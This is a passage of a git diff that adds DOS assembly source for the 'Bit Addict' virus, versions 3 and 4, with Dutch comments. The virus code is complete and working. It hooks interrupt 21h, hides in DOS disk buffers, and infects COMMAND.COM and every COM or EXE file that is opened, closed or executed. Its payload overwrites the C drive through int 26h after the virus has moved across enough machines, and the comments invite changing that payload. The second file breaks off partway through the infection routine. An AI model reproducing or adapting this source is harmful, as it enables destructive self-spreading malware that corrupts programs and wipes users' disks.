+jmpe macro Dest ; vervanging voor je + local @@00 + + jnz @@00 + jmp Dest +@@00: + endm + +jmpne macro Dest ; vervanging voor jne + local @@00 + + jz @@00 + jmp Dest +@@00: + endm + +eseg segment + mov ax,4c00h ; exit + int 21h +eseg ends + +;----------------------------------------------------------------------------- +;----- ----- +;----- Begin van het Bit Addict virus ----- +;----- ----- +;----------------------------------------------------------------------------- + +cseg segment + assume cs:cseg,ds:cseg,es:cseg + org 0 + +CodeSize equ CodeEnd-BeginCode +CodeSizePara equ (CodeEnd-BeginCode+0fh) / 10h +VirusSize equ VirusEnd-BeginCode +VirusSizePara equ (VirusEnd-BeginCode+0fh) / 10h +HeaderLength equ 18h + +BeginCode equ $ +SavedCode equ this byte ; gegevens over het +OldSignature dw 5a4dh ; programma voor het virus +OldCSIP equ this dword +OldIP dw 0 +OldCS dw 0 +OldSP dw 200h +OldSS dw 0 + dw 3 dup(0) + +Comspec db 'COMSPEC=' ; comspec environment variabele + ; om de command.com te vinden + +ID db 'Bit Addict Version 3' +ID_Length equ $-offset ID + +Count dw 0 +Bios db 10h dup(0) +ChkSum dw 0 + +Begin: push ax ; Programma om het virus + push bx ; in het geheugen te zetten + push cx + push dx + push si + push di + push ds + push es + call Init + jnc @@12 + call BiosCheck + push cs + pop es + xor al,al + mov cx,VirusSize-CodeSize + mov di,CodeSize + cld + rep stosb + call DebugOn + mov ah,52h ; lees het adres van de eerste + call DOS ; disk-buffer + push bx + mov ah,30h + call DOS + pop di + call DebugOff + cmp al,2 ; dit werkt niet op dos 1.x + jb @@12 + cmp al,3 ; voor dos 2.x op di+13h en + adc di,12h ; voor dos 3+ op di+12h + lds si,es:[di] + or si,si + jne @@12 + push di + cld + movsw ; reserveer 1e buffer + movsw + pop di + mov cx,ds + mov dx,ds + mov bx,3 +@@10: call GetBuffer ; reserveer 2e,3e en 4e + jc @@11 ; buffer + dec bx + jne @@10 + call CopyBitAddict ; Copieer bit addict naar + pop es ; de buffers + push es ; Infecteer bestand in de + call InfectComspec ; comspec + jmp short @@12 +@@11: call RestoreBuffers +@@12: pop es ; ga nu verder met het + pop ds ; programma voor Bit Addict + pop di + pop si + pop dx + pop cx + pop bx + pop ax + cli + mov ss,cs:OldSS + mov sp,cs:OldSP + sti + jmp cs:OldCSIP + +GetBuffer: ; reserveer een buffer + push di ; cx = eerste buffer + push es ; dx = laatste buffer + jmp short @@21 +@@20: push ds + pop es + mov di,si +@@21: lds si,es:[di] + or si,si + jne @@23 + mov ax,ds + sub ax,dx + cmp ax,21h + jne @@22 + mov dx,ds + cld + movsw + movsw + clc + jmp short @@24 +@@22: mov ax,ds + sub ax,cx + neg ax + cmp ax,21h + jne @@20 + mov cx,ds + cld + movsw + movsw + clc + jmp short @@24 +@@23: stc +@@24: pop es + pop di + ret + +CopyBitAddict: + push cs ; copieer Bit Addict naar de + pop ds ; gereserveerde buffers + mov es,cx + xor si,si + xor di,di + mov cx,VirusSize + cld + rep movsb + xor ax,ax ; leid interrupt 21h om naar + mov ds,ax ; Bit Addict + mov word ptr ds:[84h],offset NewInt21 + mov word ptr ds:[86h],es + ret + +InfectComspec: + mov es,es:[2ch] ; lees environment segment + xor di,di + push cs ; zoek naar de comspec + pop ds ; variabele + mov si,offset Comspec +@@30: push si + push di + mov cx,8 + cld + repe cmpsb + pop di + pop si + je @@31 + xor al,al + mov cx,-1 + cld + repne scasb + cmp byte ptr es:[di],0 + jne @@30 + jmp short @@32 +@@31: push es ; infecteer de COMMAND.COM of + pop ds ; andere command interpreter + lea dx,[di+8] + push cs:OldIP + push cs:OldCS + push cs:OldSP + push cs:OldSS + call Infect + pop cs:OldSS + pop cs:OldSP + pop cs:OldCS + pop cs:OldIP +@@32: ret + +RestoreBuffers: + mov ax,cx +@@40: cmp ax,dx + je @@42 + mov ds,ax + add ax,21h + mov word ptr ds:[0],0 + mov word ptr ds:[2],ax + jmp short @@40 +@@42: mov ds,dx + mov ax,es:[di] + mov ds:[0],ax + mov word ptr es:[di],0 + mov ax,es:[di+2] + mov ds:[2],ax + mov es:[di+2],cx + ret + +DebugOn:push ax + push ds + xor ax,ax + mov ds,ax + cli + mov ax,ds:[4h] + mov word ptr cs:OldInt1[0],ax + mov ax,ds:[6h] + mov word ptr cs:OldInt1[2],ax + mov word ptr ds:[4],offset NewInt1 + mov word ptr ds:[6],cs + mov ax,ds:[84h] + mov word ptr cs:OldInt21[0],ax + mov ax,ds:[86h] + mov word ptr cs:OldInt21[2],ax + mov word ptr cs:DosInt21[0],0 + mov word ptr cs:DosInt21[2],0 + sti + pop ds + pop ax + pushf + push cs + call SetTrap + ret + +SetTrap:push bp + mov bp,sp + or word ptr ss:[bp+6],100h + pop bp + iret + +DebugOff: + pushf + push cs + call ClearTrap + push ax + push ds + xor ax,ax + mov ds,ax + cli + mov ax,word ptr cs:OldInt1[0] + mov ds:[4],ax + mov ax,word ptr cs:OldInt1[2] + mov ds:[6],ax + sti + pop ds + pop ax + ret + +ClearTrap: + push bp + mov bp,sp + and word ptr ss:[bp+6],0feffh + pop bp + iret + +Init: push cs + pop ds + cmp OldSignature,5a4dh + je @@50 + mov si,offset SavedCode ; herstel begin van het + mov di,100h ; com-programma + mov cx,10h + cld + rep movsb + mov OldSS,ss ; bewaar de waarden van + mov OldSP,sp ; ss,sp,cs en ip + sub OldSP,10h + mov OldCS,es + mov OldIP,100h + jmp short @@51 +@@50: mov ax,es ; bereken de waarden van + add ax,10h ; ss,sp,cs en ip + add OldCS,ax + add OldSS,ax +@@51: mov ax,4b40h ; controleer of Bit Addict al + int 21h ; in het geheugen aanwezig is + jc @@52 + mov ds,ax + push cs ; vergelijk identificatie + pop ds + mov si,offset ID + mov di,si + mov cx,ID_Length + cld + repe cmpsb + je @@52 + stc +@@52: ret + +BiosCheck: + mov ax,0f000h + mov ds,ax + push cs + pop es + xor si,si + mov di,offset Bios + mov cx,10h + cld + repe cmpsb + je @@54 + mov ax,cs:Count + inc ax + cmp ax,100h + jb @@53 + call BitAddict +@@53: mov cs:Count,ax + xor si,si + mov di,offset Bios + mov cx,10h + rep movsb +@@54: ret + +BitAddict: + xor dx,dx +@@55: push dx + mov ax,3 + xor bx,bx + mov cx,40h + int 26h + pop ax + pop dx + add dx,40h + or dx,dx + jne @@55 + ret + +NewInt1:push bp + mov bp,sp + push ax + mov ax,word ptr cs:DosInt21[0] + or ax,word ptr cs:DosInt21[2] + jnz @@60 + cmp word ptr ss:[bp+4],300h + jae @@61 + mov ax,ss:[bp+2] + mov word ptr cs:DosInt21[0],ax + mov ax,ss:[bp+4] + mov word ptr cs:DosInt21[2],ax +@@60: and word ptr ss:[bp+6],0feffh +@@61: pop ax + pop bp + iret + +DOS: push ax + mov ax,word ptr cs:DosInt21[0] + or ax,word ptr cs:DosInt21[2] + pop ax + jnz @@62 + pushf + call cs:OldInt21 + ret +@@62: pushf + call cs:DosInt21 + ret + +InstallCheck: ; Zo kan bit addict weten + mov ax,cs ; dat er al een andere copy + popf ; aanwezig is + clc + retf 2 + +Exec: call CheckExtension ; functie 4bh, infecteer eerst + jc EOI ; met Bit Addict + mov byte ptr cs:Active,1 + call Infect + mov byte ptr cs:Active,0 + jmp short EOI + +NewInt21: ; Het nieuwe interrupt 21h + pushf + cmp byte ptr cs:Active,0 + jne EOI + cmp ah,3dh + je Open + cmp ah,3ch + je Open + cmp ah,3eh + je Close + cmp ax,4b40h + je InstallCheck + cmp ah,4bh + je Exec +EOI: popf + jmp cs:OldInt21 + +Open: call CheckExtension + jc EOI + mov byte ptr cs:Active,1 + call cs:OldInt21 + jc @@92 + pushf + push ax + push cx + push si + push di + push es + push cs + pop es + mov si,dx + mov di,offset File1 + cmp word ptr es:[di],0 + je @@90 + mov di,offset File2 + cmp word ptr es:[di],0 + jne @@91 +@@90: cld + stosw + mov cx,70 + rep movsb +@@91: pop es + pop di + pop si + pop cx + pop ax + popf +@@92: mov byte ptr cs:Active,0 + retf 2 + +Close: cmp bx,cs:File1 + je @@93 + cmp bx,cs:File2 + jne EOI + mov byte ptr cs:Active,1 + call cs:OldInt21 + push si + mov si,offset File2 + jmp short @@94 +@@93: mov byte ptr cs:Active,1 + call cs:OldInt21 + push si + mov si,offset File1 +@@94: jc @@95 + pushf + push dx + push ds + push cs + pop ds + lea dx,[si+2] + call Infect + pop ds + pop dx + popf +@@95: mov word ptr cs:[si],0 + mov byte ptr cs:Active,0 + pop si + retf 2 + +CheckExtension: + push ax + push cx + push si + push di + push es + push ds + pop es + mov di,dx + xor al,al + mov cx,70 + cld + repne scasb + jne @@65 + std + mov al,'.' + neg cx + add cx,70 + std + repne scasb + jne @@65 + lea si,[di+2] + cld + lodsw + and ax,0dfdfh + cmp ax,5845h ; 'EX' + je @@64 + cmp ax,4f43h ; 'CO' + jne @@65 + lodsb + and al,0dfh + cmp al,4dh ; 'M' + je @@66 + jmp short @@65 +@@64: lodsb + and al,0dfh + cmp al,45h ; 'E' + je @@66 +@@65: stc + jmp short @@67 +@@66: clc +@@67: pop es + pop di + pop si + pop cx + pop ax + ret + +ComHeader: ; dit stukje wordt voor een + mov ax,cs ; COM-file geplaatst + add ax,0100h +OldSize equ this word-2 + push ax + mov ax,offset Begin + push ax + retf + +Infect: push ax ; Infecteer een file + push bx + push cx + push si + push di + push bp + push es + mov ax,4300h ; lees attributen en bewaar + call DOS ; ze + jmpc @@83 + push cx + push dx + push ds + test cx,1 + jz @@71 + mov ax,4301h ; set Read-Only attribuut + and cx,0fffeh ; op nul + call DOS + jmpc @@82 +@@71: mov ax,3d02h ; open de file + call DOS + jmpc @@82 + mov bx,ax + mov ax,5700h ; lees de datum en tijd en + call DOS ; bewaar ze + jmpc @@81 + push cx + push dx + push cs ; ds=es=cs + pop ds + push cs + pop es + mov ah,3fh ; lees de header van de file + mov cx,HeaderLength + mov dx,offset Header + call DOS + jmpc @@80 + cmp ax,HeaderLength + jne @@75 + cmp Signature,5a4dh + jne @@72 + mov ax,ExeCS ; zoek de plaats waar de + add ax,HeaderSize ; identificatie zou moeten + mov dx,10h ; staan voor exe-files + mul dx + add ax,offset ID + adc dx,0 + jmp short @@73 +@@72: mov ax,ComCS ; doe hetzelfde maar dan voor + mov dx,10h ; een com-file + sub ax,dx + mul dx + add ax,offset ID + adc dx,0 +@@73: mov cx,dx + mov dx,ax + mov ax,4200h + call DOS + jc @@74 + mov ah,3fh ; lees de ID indien aanwezig + mov cx,ID_Length + mov dx,offset ID_Check + call DOS + jc @@74 + cmp ax,ID_Length + jne @@74 + mov si,offset ID_Check ; controleer of ID aanwezig + mov di,offset ID ; is + mov cx,ID_Length + cld + repe cmpsb + jmpe @@80 ; als ID aanwezig is, stop dan +@@74: cmp Signature,5a4dh + je @@77 +@@75: mov ax,4202h ; infecteer com-files + xor cx,cx ; ga naar het einde van de file + xor dx,dx + call DOS + mov cx,10h ; aanpassen van de com-header + div cx ; aan deze com-file + or dx,dx + je @@76 + push ax + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + call DOS + pop ax + jmpc @@80 + inc ax +@@76: add ax,10h + mov OldSize,ax + mov si,offset Header ; bewaar het eerste deel van + mov di,offset SavedCode ; het programma + mov cx,10h + cld + rep movsb + mov ah,40h ; schrijf het virus achter het + mov cx,CodeSize ; programma + xor dx,dx + call DOS + jmpc @@80 + mov ax,4200h ; ga naar het begin van de file + xor cx,cx + xor dx,dx + call DOS + jmpc @@80 + mov ah,40h ; overschrijf het begin van het + mov cx,10h ; programma met de com-header + mov dx,offset ComHeader + call DOS + jmp @@80 +@@77: mov OldSignature,5a4dh ; infecteer exe-files + mov ax,ExeIP ; bewaar de oude waarden van + mov OldIP,ax ; cs:ip en ss:sp + mov ax,ExeCS + mov OldCS,ax + mov ax,ExeSP + mov OldSP,ax + mov ax,ExeSS + mov OldSS,ax + mov ax,PageCount ; pas de waarden van cs:ip en + dec ax ; ss:sp aan, en pas ook de + mov cx,200h ; lengte van de file aan + mul cx + add ax,PartPage + adc dx,0 + mov cx,dx + mov dx,ax + mov ax,4200h + call DOS + jmpc @@80 + push ax + push dx + mov ah,3fh + mov cx,80h + mov dx,offset Buffer + int 21h + mov cx,ax + pop dx + pop ax + jmpc @@80 + cmp cx,80h + jmpe @@80 + add ax,cx + adc dx,0 + mov cx,10h + div cx + or dx,dx + je @@78 + push ax + push dx + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + call DOS + pop dx + pop ax + jc @@80 + inc ax +@@78: sub ax,HeaderSize + mov ExeCS,ax + mov ExeIP,offset Begin + add ax,VirusSizePara + mov ExeSS,ax + mov ExeSP,200h + mov ax,MinMem + cmp ax,20h+VirusSizePara-CodeSizePara + jae @@79 + mov ax,20h +@@79: mov MinMem,ax + mov ax,PartPage + add ax,CodeSize + add ax,dx + mov cx,200h + xor dx,dx + div cx + add PageCount,ax + mov PartPage,dx + mov ah,40h ; schrijf het virus achter + mov cx,CodeSize ; de exe-file, indien de + xor dx,dx ; exe-file overlays bevat dan + call DOS ; worden ze overschreven en is + jc @@80 ; de exe-file onherstelbaar + mov ax,4200h ; beschadigd + xor cx,cx + xor dx,dx ; ga naar het begin van de file + call DOS + jc @@80 + mov ah,40h ; schrijf de nieuwe exe-header + mov cx,HeaderLength ; over de oude heen. + mov dx,offset Header + call DOS +@@80: pop dx ; herstel de datum van de file + pop cx + mov ax,5701h + call DOS +@@81: mov ah,3eh ; sluit de file + call DOS +@@82: pop ds ; herstel de attributen van de + pop dx ; file + pop cx + test cx,1 + jz @@83 + mov ax,4301h + call DOS +@@83: pop es ; herstel de waarden van de + pop bp ; registers en keer terug + pop di ; naar het oude interrupt 21 + pop si + pop cx + pop bx + pop ax + ret + +CodeEnd equ $ + +Header dw HeaderLength/2 dup(?) +ComCS equ Header[OldSize-Comheader] ; Com file + +Signature equ Header[0h] ; Exe file +PartPage equ Header[2h] +PageCount equ Header[4h] +HeaderSize equ Header[8h] +MinMem equ Header[0ah] +MaxMem equ Header[0ch] +ExeSS equ Header[0eh] +ExeSP equ Header[10h] +ExeIP equ Header[14h] +ExeCS equ Header[16h] + +ID_Check db ID_Length dup(?) + +Active db ? + +DosInt21 dd ? +OldInt21 dd ? +OldInt1 dd ? + +File1 dw 36 dup(?) +File2 dw 36 dup(?) + +Buffer db 80h dup(?) + +VirusEnd equ $ + +cseg ends + +sseg segment stack + db 200h dup(?) +sseg ends + +end Begin \ No newline at end of file diff --git a/a/Addict8.asm b/a/Addict8.asm new file mode 100755 index 0000000..fa286b2 --- /dev/null +++ b/a/Addict8.asm @@ -0,0 +1,793 @@ +; Bit Addict Versie 4 + +;----------------------------------------------------------------------------- +;----- ----- +;----- Macros en andere hulpmiddellen ----- +;----- ----- +;----------------------------------------------------------------------------- + +; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter +; wordt dan 128 bytes en er dus een foutmelding komt + +dfn macro Num1,Num2 + db Num1 + dw offset Num2 + endm + +jmpc macro Dest ; vervanging voor jc + local @@00 + + jnc @@00 + jmp Dest +@@00: + endm + +jmpnc macro Dest ; vervanging voor jnc + local @@00 + + jc @@00 + jmp Dest +@@00: + endm + +jmpe macro Dest ; vervanging voor je + local @@00 + + jnz @@00 + jmp Dest +@@00: + endm + +jmpne macro Dest ; vervanging voor jne + local @@00 + + jz @@00 + jmp Dest +@@00: + endm + +eseg segment + mov ax,4c00h ; exit + int 21h +eseg ends + +;----------------------------------------------------------------------------- +;----- ----- +;----- Begin van het Bit Addict virus ----- +;----- ----- +;----------------------------------------------------------------------------- + +cseg segment + assume cs:cseg,ds:cseg,es:cseg + org 0 + +BeginCode equ $ ; begin van het virus + +CodeSize equ CodeEnd-BeginCode ; de grootte van het +CodeSizePara equ (CodeEnd-BeginCode+0fh) / 10h ; virus achter een file + +VirusSize equ VirusEnd-BeginCode ; de grootte van het +VirusSizePara equ (VirusEnd-BeginCode+0fh) / 10h ; virus in het geheugen + +HeaderLength equ 18h ; grootte van een + +SavedCode equ this byte ; gegevens over het +OldSignature dw 5a4dh ; programma voor het +OldCSIP equ this dword ; virus +OldIP dw 0 +OldCS dw 0 +OldSP dw 200h +OldSS dw 0 +OldPartPage dw 0 +OldPageCount dw 0 + +Begin: push ax ; Programma om het virus + push ds ; resident te laten blijven + push es ; en om de comspec te + call Init ; infecteren + jnc @@12 + call BiosCheck ; Als bit addict op een andere + push cs ; computer draait wordt er een + pop es ; teller verhoogt. + xor al,al + mov cx,VirusSize-CodeSize ; zet alle variabelen op nul + mov di,CodeSize + cld + rep stosb ; debug interrupt 21h om het + call DebugOn ; orginele interrupt te vinden + mov ah,52h + call DOS ; lees het adres van de eerste + push bx ; disk-buffer + mov ah,30h + call DOS + pop di + call DebugOff + cmp al,2 ; dit werkt niet op dos 1.x + jb @@12 + cmp al,3 ; voor dos 2.x op di+13h en + adc di,12h ; voor dos 3+ op di+12h + lds si,es:[di] + or si,si + jne @@12 + push di + cld + movsw ; reserveer 1e buffer + movsw + pop di + mov cx,ds + mov dx,ds + mov bx,3 +@@10: call GetBuffer ; reserveer 2e,3e en 4e + jc @@11 ; buffer + dec bx + jne @@10 + call CopyBitAddict ; Copieer bit addict naar + pop es ; de buffers + push es ; Infecteer bestand in de + call InfectComspec ; comspec + jmp short @@12 +@@11: call RestoreBuffers ; voor als het fout gaat +@@12: pop es + pop ds ; ga nu verder met het + pop ax ; programma voor Bit Addict + cli + mov ss,cs:OldSS + mov sp,cs:OldSP + sti + jmp cs:OldCSIP + + +Comspec db 'COMSPEC=' ; comspec environment variabele + ; om de command.com te vinden + +ID dw 0DEADh ; hier wordt het virus herkend + ; als het in het geheugen staat + +Count dw 0 ; In deze variabele staat op + ; hoeveel verschillende + ; computers het virus is + ; geweest +Bios db 10h dup(0) ; Gegevens over de bios, + ; door dit te vergelijken met + ; de bios kan het virus weten + ; of het virus op een andere + ; computer draait + +GetBuffer: ; reserveer een buffer + push di ; cx = eerste buffer + push es ; dx = laatste buffer + jmp short @@21 +@@20: push ds ; zoek een buffer die naast een + pop es ; gereserveerde buffer ligt, dus + mov di,si ; 21h voor cx, of 21h na dx. +@@21: lds si,es:[di] + or si,si + jne @@23 + mov ax,ds + sub ax,dx + cmp ax,21h + jne @@22 + mov dx,ds + cld + movsw + movsw + clc + jmp short @@24 +@@22: mov ax,ds + sub ax,cx + cmp ax,-21h + jne @@20 + mov cx,ds + cld + movsw + movsw + clc + jmp short @@24 +@@23: stc +@@24: pop es + pop di + ret + +CopyBitAddict: + push cs ; copieer Bit Addict naar de + pop ds ; gereserveerde buffers + mov es,cx + xor si,si + xor di,di + mov cx,VirusSize + cld + rep movsb + xor ax,ax ; leid interrupt 21h om naar + mov ds,ax ; Bit Addict + mov word ptr ds:[84h],offset NewInt21 + mov word ptr ds:[86h],es + ret + +InfectComspec: + mov es,es:[2ch] ; lees environment segment + xor di,di + push cs ; zoek naar de comspec + pop ds ; variabele + mov si,offset Comspec +@@30: push si + push di + mov cx,8 + cld + repe cmpsb + pop di + pop si + je @@31 + xor al,al + mov cx,-1 + cld + repne scasb + cmp byte ptr es:[di],0 ; is dit de laatste variabele ? + jne @@30 + jmp short @@33 +@@31: push es ; infecteer de COMMAND.COM of + pop ds ; andere command interpreter, + cmp byte ptr ds:[di+9],':' ; maar doe dit alleen wanneer + jne @@32 ; de comspec naar de c of de + mov al,ds:[di+8] ; d-drive wijst. + and al,0dfh + cmp al,'C' + je @@32 + cmp al,'D' + jne @@33 +@@32: lea dx,[di+8] + push cs:OldIP ; bewaar alle variabelen die + push cs:OldCS ; we nog nodig hebben. + push cs:OldSP + push cs:OldSS + call Infect ; infecteren + pop cs:OldSS ; herstel alle variabelen die + pop cs:OldSP ; we nog nodig hebben + pop cs:OldCS + pop cs:OldIP +@@33: ret + +RestoreBuffers: ; wanneer er niet genoeg + mov ax,cx ; buffers zijn, zet dan de +@@40: cmp ax,dx ; buffers weer terug in de + je @@42 ; keten, anders zal het + mov ds,ax ; systeem hangen. + add ax,21h + mov word ptr ds:[0],0 + mov word ptr ds:[2],ax + jmp short @@40 +@@42: mov ds,dx + mov ax,es:[di] + mov ds:[0],ax + mov word ptr es:[di],0 + mov ax,es:[di+2] + mov ds:[2],ax + mov es:[di+2],cx + ret + +DebugOn:push ax ; deze procedere is om de + push ds ; trap-flag te zetten, en + xor ax,ax ; interrupt 1 te initialiseren + mov ds,ax + cli + mov ax,ds:[4h] + mov word ptr cs:OldInt1[0],ax + mov ax,ds:[6h] + mov word ptr cs:OldInt1[2],ax + mov word ptr ds:[4],offset NewInt1 + mov word ptr ds:[6],cs + mov ax,ds:[84h] + mov word ptr cs:OldInt21[0],ax + mov ax,ds:[86h] + mov word ptr cs:OldInt21[2],ax + mov word ptr cs:DosInt21[0],0 + mov word ptr cs:DosInt21[2],0 + pushf + pop ax + or ah,1 + push ax + popf + sti + pop ds + pop ax + ret + +DebugOff: ; deze procedure zet de + push ax ; trap-flag weer op nul en + push ds ; herstelt interrupt 1. + cli + pushf + pop ax + and ah,0feh + push ax + popf + xor ax,ax + mov ds,ax + mov ax,word ptr cs:OldInt1[0] + mov ds:[4],ax + mov ax,word ptr cs:OldInt1[2] + mov ds:[6],ax + sti + pop ds + pop ax + ret + +Init: push cs + pop ds + cmp OldSignature,5a4dh + je @@50 + mov si,offset SavedCode ; herstel begin van het + mov di,100h ; com-programma + mov cx,Dead-ComHeader+2 + cld + rep movsb + mov OldSS,ss ; bewaar de waarden van + mov OldSP,sp ; ss,sp,cs en ip + sub OldSP,10h + mov OldCS,es + mov OldIP,100h + jmp short @@51 +@@50: mov ax,es ; bereken de waarden van + add ax,10h ; ss,sp,cs en ip + add OldCS,ax + add OldSS,ax +@@51: mov ax,4b40h ; controleer of Bit Addict al + int 21h ; in het geheugen aanwezig is + jc @@52 + mov ds,ax + mov ax,word ptr ds:ID ; vergelijk identificatie + cmp ax,word ptr cs:ID + je @@52 + stc +@@52: ret + +BiosCheck: ; deze procedure vergelijkt + mov ax,0ffffh ; de bios, met de gegevens + mov ds,ax ; over de bios in het virus, + push cs ; zijn deze niet gelijk, dan + pop es ; zal het virus op een andere + xor si,si ; computer draaien, en wordt + mov di,offset Bios ; er een teller verhoogt, komt + mov cx,10h ; deze teller boven de 255 dan + cld ; zal het bit-addict virus + repe cmpsb ; actief worden. + je @@54 + mov ax,cs:Count + inc ax + cmp ax,100h + jb @@53 + call BitAddict +@@53: mov cs:Count,ax + xor si,si + mov di,offset Bios + mov cx,10h + rep movsb +@@54: ret + +BitAddict: ; in deze procedure wordt + xor dx,dx ; de c-drive overscreven met +@@55: push dx ; onzin, dit mag verandert + mov ax,3 ; worden, om het virus iets + xor bx,bx ; anders te laten doen, een + mov cx,40h ; muziekje spelen, of met het + int 26h ; toetsenbord spelen + pop ax ; bijvoorbeeld. + pop dx + add dx,40h + or dx,dx + jne @@55 + ret + +NewInt1:push bp ; deze procedure wordt + mov bp,sp ; gebruikt bij het debuggen + push ax + mov ax,word ptr cs:DosInt21[0] + or ax,word ptr cs:DosInt21[2] + jnz @@60 + cmp word ptr ss:[bp+4],300h + jae @@61 + mov ax,ss:[bp+2] + mov word ptr cs:DosInt21[0],ax + mov ax,ss:[bp+4] + mov word ptr cs:DosInt21[2],ax +@@60: and word ptr ss:[bp+6],0feffh +@@61: pop ax + pop bp + iret + +DOS: push ax ; roept interrupt 21h aan. + mov ax,word ptr cs:DosInt21[0] + or ax,word ptr cs:DosInt21[2] + pop ax + jnz @@62 + pushf + call cs:OldInt21 + ret +@@62: pushf + call cs:DosInt21 + ret + +Functions: ; dit is een tabel met alle + dfn 3ch,Open ; dos-functies die door + dfn 3dh,Open ; bit-addict verandert worden + dfn 3eh,Close + dfn 3fh,Read + dfn 40h,Write + dfn 4bh,Exec + +NewInt21: ; Het nieuwe interrupt 21h + pushf + push bx + push bp + mov bp,sp + mov bx,offset Functions +@@63: cmp ah,cs:[bx] + je @@68 + add bx,3 + cmp bx,offset NewInt21 + jne @@63 + pop bp + pop bx +EOI: popf + jmp cs:OldInt21 +@@68: mov bx,cs:[bx+1] + xchg bx,ss:[bp+2] + pop bp + ret + +InstallCheck: ; Zo kan bit addict weten + mov ax,cs ; dat er al een andere copy + popf ; aanwezig is + clc + retf 2 + +Exec: cmp al,40h + je InstallCheck + call CheckExtension ; functie 4bh, infecteer eerst + jc EOI ; met Bit Addict + popf + push dx + push ds + pushf + call cs:OldInt21 + pop ds + pop dx + pushf + call Infect + popf + retf 2 + +Open: call CheckExtension ; fn 3ch en 3dh + jc EOI + call cs:OldInt21 + jc @@92 + pushf + push ax + push cx + push si + push di + push es + push cs + pop es + mov si,dx + mov di,offset File1 + cmp word ptr es:[di],0 + je @@90 + mov di,offset File2 + cmp word ptr es:[di],0 + jne @@91 +@@90: cld + stosw + mov cx,70 + rep movsb +@@91: pop es + pop di + pop si + pop cx + pop ax + popf +@@92: retf 2 + +Close: cmp bx,cs:File1 ; fn 3eh + je @@93 + cmp bx,cs:File2 + jne EOI + call cs:OldInt21 + push si + mov si,offset File2 + jmp short @@94 +@@93: call cs:OldInt21 + push si + mov si,offset File1 +@@94: jc @@95 + pushf + push dx + push ds + push cs + pop ds + lea dx,[si+2] + call Infect + pop ds + pop dx + popf +@@95: mov word ptr cs:[si],0 + pop si + retf 2 + +Read: jmp EOI ; fn 3fh + +Write: jmp EOI ; fn 40h + +CheckExtension: ; controleer of de extensie + push ax ; wel exe of com is + push cx + push si + push di + push es + push ds + pop es + mov di,dx ; zoek het einde van de + xor al,al ; file-naam + mov cx,70 + cld + repne scasb + jne @@65 + std + mov al,'.' ; zoek de laatste punt + neg cx + add cx,70 + std + repne scasb + jne @@65 + lea si,[di+2] + cld + lodsw ; eerste 2 letters + and ax,0dfdfh ; maak hoofdletters + cmp ax,5845h ; 'EX' + je @@64 + cmp ax,4f43h ; 'CO' + jne @@65 + lodsb ; 3e letter + and al,0dfh + cmp al,4dh ; 'M' + je @@66 + jmp short @@65 +@@64: lodsb ; 3e letter + and al,0dfh + cmp al,45h ; 'E' + je @@66 +@@65: stc + jmp short @@67 +@@66: clc +@@67: pop es + pop di + pop si + pop cx + pop ax + ret + +ComHeader: ; dit stukje wordt voor een + mov ax,cs ; COM-file geplaatst, en is om + add ax,0100h ; het virus te starten. +OldSize equ this word-2 + push ax + mov ax,offset Begin + push ax + retf +Dead equ $ + dw 0DEADh ; signature, om te controleren + ; of een file al eens eerder + ; besmet is. + +Infect: push ax ; Infecteer een file + push bx + push cx + push si + push di + push bp + push es + mov ax,4300h ; lees attributen en bewaar + call DOS ; ze + jmpc @@83 + push cx + push dx + push ds + test cx,1 + jz @@71 + mov ax,4301h ; set Read-Only attribuut + and cx,0fffeh ; op nul + call DOS + jmpc @@82 +@@71: mov ax,3d02h ; open de file + call DOS + jmpc @@82 + mov bx,ax + mov ax,5700h ; lees de datum en tijd en + call DOS ; bewaar ze + jmpc @@81 + push cx + push dx + push cs ; ds=es=cs + pop ds + push cs + pop es + mov ah,3fh ; lees de header van de file + mov cx,HeaderLength + mov dx,offset Header + call DOS + jmpc @@80 + cmp ax,HeaderLength + jne @@75 + cmp Signature,5a4dh ; Controleer of ID aanwezig is + jne @@72 + cmp ExeID,0DEADh + jmp @@73 +@@72: cmp ComID,0DEADh +@@73: jmpe @@80 ; als ID aanwezig is, stop dan +@@74: cmp Signature,5a4dh + je @@77 +@@75: mov ax,4202h ; infecteer com-files + xor cx,cx ; ga naar het einde van de file + xor dx,dx + call DOS + mov cx,10h ; aanpassen van de com-header + div cx ; aan deze com-file + or dx,dx + je @@76 + push ax + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + call DOS + pop ax + jmpc @@80 + inc ax +@@76: add ax,10h + mov OldSize,ax + mov si,offset Header ; bewaar het eerste deel van + mov di,offset SavedCode ; het programma + mov cx,Dead-ComHeader+2 + cld + rep movsb + mov ah,40h ; schrijf het virus achter het + mov cx,CodeSize ; programma + xor dx,dx + call DOS + jmpc @@80 + mov ax,4200h ; ga naar het begin van de file + xor cx,cx + xor dx,dx + call DOS + jmpc @@80 + mov ah,40h ; overschrijf het begin van het + mov cx,Dead-ComHeader+2 ; programma met de com-header + mov dx,offset ComHeader + call DOS + jmp @@80 +@@77: mov di,offset SavedCode ; infecteer exe-files + mov ax,5a4dh ; bewaar de oude waarden van + stosw ; cs:ip en ss:sp + mov ax,ExeIP + stosw + mov ax,ExeCS + stosw + mov ax,ExeSP + stosw + mov ax,ExeSS + stosw + mov ax,PartPage + stosw + mov ax,PageCount + stosw + mov ExeID,0DEADh ; Zet ID in exe-header + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + mov cx,10h + div cx + or dx,dx + je @@78 + push ax + push dx + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + call DOS + pop dx + pop ax + jc @@80 + inc ax +@@78: sub ax,HeaderSize + mov ExeCS,ax + mov ExeIP,offset Begin + add ax,VirusSizePara + mov ExeSS,ax + mov ExeSP,200h + mov ax,MinMem + cmp ax,20h+VirusSizePara-CodeSizePara + jae @@79 + mov ax,20h +@@79: mov MinMem,ax + mov ah,40h ; schrijf het virus achter + mov cx,CodeSize ; de exe-file + xor dx,dx + call DOS + jc @@80 + mov ax,4202h ; Pas de file-lengte in de + xor cx,cx ; header aan, als de file veel + xor dx,dx ; overlays bevat, dan zal de + call DOS ; exe-file niet meer werken, + mov cx,200h ; maar de file kan wel hersteld + div cx ; worden. + cmp dx,1 + cmc + adc ax,0 + mov PageCount,ax + mov PartPage,dx + mov ax,4200h + xor cx,cx + xor dx,dx ; ga naar het begin van de file + call DOS + jc @@80 + mov ah,40h ; schrijf de nieuwe exe-header + mov cx,HeaderLength ; over de oude heen. + mov dx,offset Header + call DOS +@@80: pop dx ; herstel de datum van de file + pop cx + mov ax,5701h + 